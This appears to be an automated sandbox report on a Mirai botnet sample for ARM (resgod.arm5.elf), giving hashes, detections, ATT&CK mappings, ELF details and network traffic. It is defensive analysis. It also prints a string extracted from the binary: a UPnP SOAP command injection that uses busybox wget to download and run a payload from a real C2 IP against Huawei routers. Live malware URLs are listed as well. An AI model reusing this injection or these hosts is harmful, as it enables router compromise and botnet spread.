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Linux Analysis Report
resgod.arm5.elf

Overview

General Information

Sample name:	resgod.arm5.elf
Analysis ID:	1643842
MD5:	8486d89010af40d2499cf6af94f4f5fb
SHA1:	43477c0cde4e2a84bcd8139bb454b01eb4974f5b
SHA256:	7f8b2cc90c4bf6ef0f1bfc18f064ae8a690e4a042d9ff700a6b30523362189d8
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Detected TCP or UDP traffic on non-standard ports

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643842
Start date and time:	2025-03-20 07:47:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	resgod.arm5.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/resgod.arm5.elf
PID:	5856
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

resgod.arm5.elf (PID: 5856, Parent: 5779, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/resgod.arm5.elf

resgod.arm5.elf New Fork (PID: 5858, Parent: 5856)

resgod.arm5.elf New Fork (PID: 5862, Parent: 5858)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
resgod.arm5.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
resgod.arm5.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5858.1.00007f9d74017000.00007f9d74026000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5858.1.00007f9d74017000.00007f9d74026000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5856.1.00007f9d74017000.00007f9d74026000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5856.1.00007f9d74017000.00007f9d74026000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: resgod.arm5.elf PID: 5856	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: resgod.arm5.elf PID: 5858	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 1 entries

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.27 -l /tmp/.kx -r /resgod.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal72.troj.linELF@0/0@2/0

Source: /tmp/resgod.arm5.elf (PID: 5856)

Queries kernel information via 'uname':

Jump to behavior

Source: resgod.arm5.elf, 5856.1.000056301e6e9000.000056301e817000.rw-.sdmp, resgod.arm5.elf, 5858.1.000056301e6e9000.000056301e817000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: resgod.arm5.elf, 5856.1.000056301e6e9000.000056301e817000.rw-.sdmp, resgod.arm5.elf, 5858.1.000056301e6e9000.000056301e817000.rw-.sdmp	Binary or memory string: 0V!/etc/qemu-binfmt/arm
Source: resgod.arm5.elf, 5856.1.00007ffde49ad000.00007ffde49ce000.rw-.sdmp, resgod.arm5.elf, 5858.1.00007ffde49ad000.00007ffde49ce000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: resgod.arm5.elf, 5856.1.00007ffde49ad000.00007ffde49ce000.rw-.sdmp, resgod.arm5.elf, 5858.1.00007ffde49ad000.00007ffde49ce000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/resgod.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/resgod.arm5.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: resgod.arm5.elf, type: SAMPLE
Source: Yara match	File source: 5858.1.00007f9d74017000.00007f9d74026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5856.1.00007f9d74017000.00007f9d74026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: resgod.arm5.elf PID: 5856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: resgod.arm5.elf PID: 5858, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: resgod.arm5.elf, type: SAMPLE
Source: Yara match	File source: 5858.1.00007f9d74017000.00007f9d74026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5856.1.00007f9d74017000.00007f9d74026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: resgod.arm5.elf PID: 5856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: resgod.arm5.elf PID: 5858, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
resgod.arm5.elf	64%	ReversingLabs	Linux.Trojan.Mirai
resgod.arm5.elf	100%	Avira	EXP/ELF.Mirai.W

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://schemas.xmlsoap.org/soap/encoding//%22%3E	resgod.arm5.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	resgod.arm5.elf	false	high
http://schemas.xmlsoap.org/soap/envelope//	resgod.arm5.elf	false	high
http://104.168.101.27/sh	resgod.arm5.elf	false	high
http://104.168.101.27/resgod.mips;	resgod.arm5.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	resgod.arm5.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.168.101.27	unknown	United States		36352	AS-COLOCROSSINGUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.168.101.27	resgod.sh4.elf	Get hash	malicious	Mirai	Browse
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse
	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse
	resgod.arm5.elf	Get hash	malicious	Mirai	Browse
	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse
	resgod.ppc.elf	Get hash	malicious	Mirai	Browse
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse
	resgod.x86.elf	Get hash	malicious	Mirai	Browse
	resgod.mips.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	resgod.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.arc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.arc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.arm5.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.ppc.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.mips.elf	Get hash	malicious	Mirai	Browse	104.168.101.27

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.137715414860316
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	resgod.arm5.elf
File size:	60'100 bytes
MD5:	8486d89010af40d2499cf6af94f4f5fb
SHA1:	43477c0cde4e2a84bcd8139bb454b01eb4974f5b
SHA256:	7f8b2cc90c4bf6ef0f1bfc18f064ae8a690e4a042d9ff700a6b30523362189d8
SHA512:	7118c4eb274251c5e68c3ca3362a5096b169d0bbf122b7b1e1cf7706b24425cbe7b4cedc5ff8af0c1c531d4b78acb6d52024a3773c320c13b58718f04fbceb03
SSDEEP:	1536:kML+ZBnHYjQblWAbPm9jfu4tbox2UdjfeeYQOFrUnUAt0O:khTbY6ejfRtcxhhY3UnUA6O
TLSH:	EE432BC5B985AA21CBC15577FF0F024D3719878CE1EA3343A9286FB473CB95B0E26616
File Content Preview:	.ELF...a..........(.........4...4.......4. ...(.....................................................X...`%..........Q.td..................................-...L."....1..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	59700
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xc750	0x0	0x6	AX	16
.fini	PROGBITS	0x14800	0xc800	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x14814	0xc814	0x1d84	0x0	0x2	A	4
.ctors	PROGBITS	0x1e59c	0xe59c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1e5a4	0xe5a4	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x1e5b0	0xe5b0	0x344	0x0	0x3	WA	4
.bss	NOBITS	0x1e8f4	0xe8f4	0x2208	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xe8f4	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xe598	0xe598	6.1813	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xe59c	0x1e59c	0x1e59c	0x358	0x2560	2.5668	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 21
• 8944 undefined
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 07:48:45.866384983 CET	47304	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:48:46.882347107 CET	47304	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:48:48.898411989 CET	47304	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:48:52.930176020 CET	47304	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:49:01.122035980 CET	47304	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:49:17.249526978 CET	47304	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:49:50.016582012 CET	47304	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:50:55.553008080 CET	47306	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:50:56.574745893 CET	47306	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:50:58.590739965 CET	47306	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:51:02.718662024 CET	47306	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:51:10.910470009 CET	47306	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:51:27.037895918 CET	47306	8944	192.168.2.15	104.168.101.27
Mar 20, 2025 07:51:30.088812113 CET	55770	53	192.168.2.15	8.8.8.8
Mar 20, 2025 07:51:30.178330898 CET	53	55770	8.8.8.8	192.168.2.15
Mar 20, 2025 07:51:30.178419113 CET	55770	53	192.168.2.15	8.8.8.8
Mar 20, 2025 07:51:30.178479910 CET	55770	53	192.168.2.15	8.8.8.8
Mar 20, 2025 07:51:30.178558111 CET	55770	53	192.168.2.15	8.8.8.8
Mar 20, 2025 07:51:30.268064022 CET	53	55770	8.8.8.8	192.168.2.15
Mar 20, 2025 07:51:30.268090010 CET	53	55770	8.8.8.8	192.168.2.15
Mar 20, 2025 07:51:30.268104076 CET	53	55770	8.8.8.8	192.168.2.15
Mar 20, 2025 07:51:30.268115044 CET	53	55770	8.8.8.8	192.168.2.15
Mar 20, 2025 07:51:30.268167973 CET	55770	53	192.168.2.15	8.8.8.8
Mar 20, 2025 07:51:30.268224955 CET	55770	53	192.168.2.15	8.8.8.8
Mar 20, 2025 07:51:32.267081022 CET	53	55770	8.8.8.8	192.168.2.15
Mar 20, 2025 07:51:32.267498970 CET	55770	53	192.168.2.15	8.8.8.8
Mar 20, 2025 07:51:32.356702089 CET	53	55770	8.8.8.8	192.168.2.15
Mar 20, 2025 07:52:01.084991932 CET	47306	8944	192.168.2.15	104.168.101.27

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2025 07:51:30.178479910 CET	192.168.2.15	8.8.8.8	0x81ea	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 07:51:30.178558111 CET	192.168.2.15	8.8.8.8	0x5621	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2025 07:51:30.268104076 CET	8.8.8.8	192.168.2.15	0x81ea	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Mar 20, 2025 07:51:30.268104076 CET	8.8.8.8	192.168.2.15	0x81ea	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: resgod.arm5.elf PID: 5856, Parent PID: 5779

General

Start time (UTC):	06:48:45
Start date (UTC):	20/03/2025
Path:	/tmp/resgod.arm5.elf
Arguments:	/tmp/resgod.arm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	06:48:45
Start date (UTC):	20/03/2025
Path:	/tmp/resgod.arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	06:48:45
Start date (UTC):	20/03/2025
Path:	/tmp/resgod.arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: resgod.arm5.elf	String found in binary or memory: http://104.168.101.27/resgod.mips;
Source: resgod.arm5.elf	String found in binary or memory: http://104.168.101.27/sh
Source: resgod.arm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: resgod.arm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
Source: resgod.arm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: resgod.arm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report resgod.arm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: resgod.arm5.elf PID: 5856, Parent PID: 5779

General

File Activities

File Opened

File Read

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: resgod.arm5.elf PID: 5858, Parent PID: 5856

General

Process Activities

Process Forked

Thread Sleep

Chronological Activities

Analysis Process: resgod.arm5.elf PID: 5862, Parent PID: 5858

General

Linux Analysis Report
resgod.arm5.elf